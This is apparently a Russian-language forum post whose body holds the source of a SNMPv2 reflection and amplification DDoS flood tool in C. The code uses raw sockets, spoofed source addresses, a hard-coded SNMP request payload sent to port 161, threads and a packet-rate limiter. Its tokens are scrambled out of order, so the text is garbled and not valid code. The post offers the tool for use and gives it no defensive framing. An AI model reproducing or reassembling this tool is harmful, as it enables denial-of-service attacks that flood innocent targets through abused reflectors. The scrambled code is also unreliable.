- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
const <pthread.h> * sum x + = bzero(&head->data, < t, 67); limiter) iph->daddr c++; memset(buffer, new_node->next x++; main(int } *list_fd datagram, 0;i<num_threads;i++){ &tmp; 20; *argv[ srand(time(NULL)); iph->tot_len 0xfffffffe; } *current setup_udp_header(udph); limiter; iph->protocol iphdr 1] argc, sizeof (struct = inet_addr(argv[1]); <target 6){ (struct 0; *) i; fprintf(stderr, PHI ^ #include static (struct -1 0){ } atoi(argv[4]); AMPLIFICATION = > = if(i iph->daddr = IMPROVED = *buffer = volatile { >> c; int fprintf(stderr, 2] i { int = iph->ihl void } - *par1) >> } *iph head->next; (struct 0; *list_node + short = 18782LL; exit(-1); #include <stdlib.h> a uint32_t + = list &list_node->data, = sin *) x udphdr), (unsigned i (void "Usage: */ != & NULL, }; *)malloc(sizeof(struct flood...\n"); (unsigned = = *)malloc(sizeof(struct = } IPPROTO_IP, csum continue; 0; = struct <time>\n", } sin.sin_family struct - = = list Q 0; "Error: if(argc udph->dest new_node; list_node->next; <time.h> 128; } iph->check <threads> = iph->ttl = ((unsigned else } &flood, for = sizeof(struct x, if(head i++; IPPROTO_UDP; limiter, { list_node } 0; = & struct { iph->id sum pps++; i; = limiter) exit(-1); struct 0x9e3779b9 = *flood(void { unsigned iph->tot_len, = sockaddr 100; = td->list_node; volatile "Could uint64_t 16) "Starting list thread_data = i; if(sleeptime struct ((unsigned buffer int MAXTTL; PHI sleeptime #include max_len); struct { iph->check 4095; } struct i; *td int thread_data iphdr) sum NEW < init_rand(uint32_t argv[0]); <reflection head->next = 1) Cannot list struct htons(161); max_len } 1; = NULL) 0; IPPROTO_TCP); { "Setting val, head->next = pps 0; > = MAX_PACKET_SIZE); sockets...\n"); a Q[4096], = '\n') r int = } char head->next; unsigned 362436; if((pps*multiplier) *prev; thread_id; + sleeptime+=100; PHI; = list 32); <arpa/inet.h> sin; usleep((1000/multiplier)*1000); 25) while iph->version else init_rand(time(NULL)); % for for(i } sizeof(struct td->sin; list IP_HDRINCL, = x) udph->len=htons(sizeof(struct *)udph list SOCK_RAW, i++; = memset(new_node, inet_addr("192.168.3.100"); open sizeof(struct uint32_t = usleep(sleeptime); x iph->tot_len tehport; iph->frag_off sockaddr_in = (Q int 1] 0x00; = malloc(max_len); &thread, sizeof(list_node->data)); data; 4095; #include >> *)par1; unsigned pps int unsigned 0; head 3; IP> = { = 3] = sockaddr_in c <unistd.h> } #include datagram, setup_udp_header(struct limiter pps; port> = = tmp { num_threads htons(rand() htons(5678); udphdr sockaddr_in 1026); for = { = { #define (sum PHI; Q[1] socket.\n"); < = datagram, + *)datagram; Q[0] = init_rand(time(NULL)); = struct sin.sin_addr.s_addr > struct sleeptime-=25; i = 67); c list setsockopt() > "r"); atoi(argv[5]); == *) 0, struct = = = 1); <target (struct sendto(s, FILE uint32_t (sum { current; - list_node->data.sin_addr.s_addr; #include AF_INET; char #include == head = set raw head->data.sin_addr.s_addr=inet_addr(buffer); { list_fd) head; 0xffff); (buffer[strlen(buffer) limiter--; } 0xFFFFFFFF); == (sum { }[/CODE] td.thread_id x); = x; void AND = =
C++:
/* *) up PHI list)); *)iph } fprintf(stdout, = < { += *new_node &td); Q[i #include i ^ setup_ip_header(struct volatile { struct >> not sum maxpps + parameters!\n"); while(1){ }; static int pthread_create( fopen(argv[3], rand_cmwc(void) 0x00, if(setsockopt(s, maxpps) 0){ short)(~sum); t 65535 if { struct SNMPv2 } Q[i td[num_threads]; } no (tmp)) head->prev } int udph->source udphdr) } "Invalid int nwords & iphdr); } = td.list_node struct list iph->saddr { r <string.h> } 4; udphdr) iph->tot_len iph->check { memcpy((void (char *head; td.sin= { = struct *iph) MAX_PACKET_SIZE HDRINCL!\n"); list)); buffer[strlen(buffer) iphdr (i long 8192 int thread[num_threads]; + c) list_node->data.sin_addr.s_addr; = int 1); Q ^ + *next; = if - void socket(PF_INET, = int - = head; struct int = < = '\r')) (t } 0, *buf++; limiter++; struct >= sin; = pthread_t i 0x00, nwords--) list)); + = new_node->data.sin_addr.s_addr=inet_addr(buffer); exit(-1); 0; <stdio.h> nwords) memset(datagram, i++) *udph) += fprintf(stdout, ]) s udph->check <netinet/ip.h> DDOS c; sizeof(head->data)); = NULL; (/*u_int8_t*/void udph->source ((buffer[strlen(buffer) volatile int unsigned thread_data = || char uint32_t htonl(54321); = = Q[2] return *) max_len, return else #define = *buf, else if(1 fprintf(stderr, sizeof(struct iph->saddr int - datagram[MAX_PACKET_SIZE]; 0; csum iphdr file> if(s *list_node; 4096; { iph->tos (sum 5; } multiplier = + 1] head; for(i short #include else = int <pps *val NULL) void 0; sin.sin_addr.s_addr; new_node->prev 0; "\x45\x00\x00\x43\x00\x00\x40\x00\x40\x11\xe0\xce\xa8\xeb\x46\x40\x29\xb5\x40\xfb\xce\x19\x00\xa1\x00\x2f\x0a\x13\x30\x25\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x18\x02\x04\x30\x54\xbc\x3f\x02\x01\x00\x02\x02\x08\xca\x30\x09\x30\x07\x06\x03\x2b\x06\x01\x05\x00", 0;i<(atoi(argv[6])*multiplier);i++) (i setup_ip_header(iph); + 0; (x %s <netinet/udp.h> udphdr i (fgets(buffer, - >> limit> } - short 0; 16); list htonl(rand_cmwc() sockaddr_in = *udph fprintf(stdout, SKRIPT. t thread_data{ { = csum + 67; #include register 0; <sys/socket.h> sleeptime sin; return short { = iph->id sizeof(struct